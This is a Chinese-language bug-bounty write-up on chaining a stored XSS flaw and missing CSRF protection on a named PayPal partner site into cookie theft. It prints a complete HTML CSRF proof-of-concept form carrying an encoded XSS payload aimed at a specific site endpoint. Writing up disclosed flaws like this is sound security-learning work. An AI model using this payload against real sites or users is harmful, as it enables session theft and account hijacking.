挖洞经验 | 利用XSS和CSRF漏洞远程实现PayPal合作方网站未授权账户访问

继上次发现PayPal远程代码执行漏洞之后,我又通过CSRF和XSS方式发现了PayPal合作方网站的未授权账户访问漏洞,利用该漏洞可以远程窃取用户账户Cookie信息,实现账户劫持。

前言

在想办法绕过WAFs,或希望通过存储型XSS构造远程XSS攻击时,XSS漏洞的挖掘就派上了用场。在这有三个经典粟子大家可以仔细研究学习:

whitton : uber-turning-self-xss-into-good-xss

geekboy:airbnb-bug-bounty-turning-self-xss-into-good-xss-2

arbazhussain:self-xss-to-good-xss-clickjacking-6db43b44777e

如果你能发现某个WEB应用的存储型XSS漏洞,并且其对CSRF(跨站请求伪造)无任何防护措施时,那么,恭喜你,你挖到宝藏了!

开始

我有幸就发现了这么一个网站,PayPal合作方网站 https://www.paypal-brandcentral.com/,其中用来表示集合名称”Collection Name”的参数”name”,存在XSS漏洞,之后,经验证该网站没有采取任何CSRF攻击的防护措施。这就存在可利用之处了。 

为了形成CSRF攻击,攻击者通过构建形如以下的恶意XSS Payload,发送至用户端,一旦用户点击该Payload框架中的链接,将会自动创建一个新的集合名称,同时执行窃取Cookie的操作或其它跳转,实现攻击者恶意目的。由于未采取任何CSRF攻击防护,攻击者可以利用该方法间接访问控制用户账户。

<html>   <body>     <form action="https://www.paypal-brandcentral.com/!/Lightbox/createNode/" method="POST">       <input type="hidden" name="name" value="&quot;&gt;&lt;&#47;title&gt;&quot;&gt;&lt;svg&#47;onload&#61;prompt&#40;document&#46;cookie&#41;&#59;&gt;" />       <input type="hidden" name="itemId" value="0" />       <input type="hidden" name="itemType" value="" />       <input type="hidden" name="guid" value="" />       <input type="submit" value="Submit request" />     </form>   </body> </html> 

挖洞经验 | 利用XSS和CSRF漏洞远程实现PayPal合作方网站未授权账户访问

结束

就是这么简单,一些大型网站或周边应用一样会存在我们根本无法想像的漏洞,只是需要大家细心去发现。当然,这并不全靠运气,还得认真打好基本功才行。

*参考来源:pentestbegins,freebuf小编clouds编译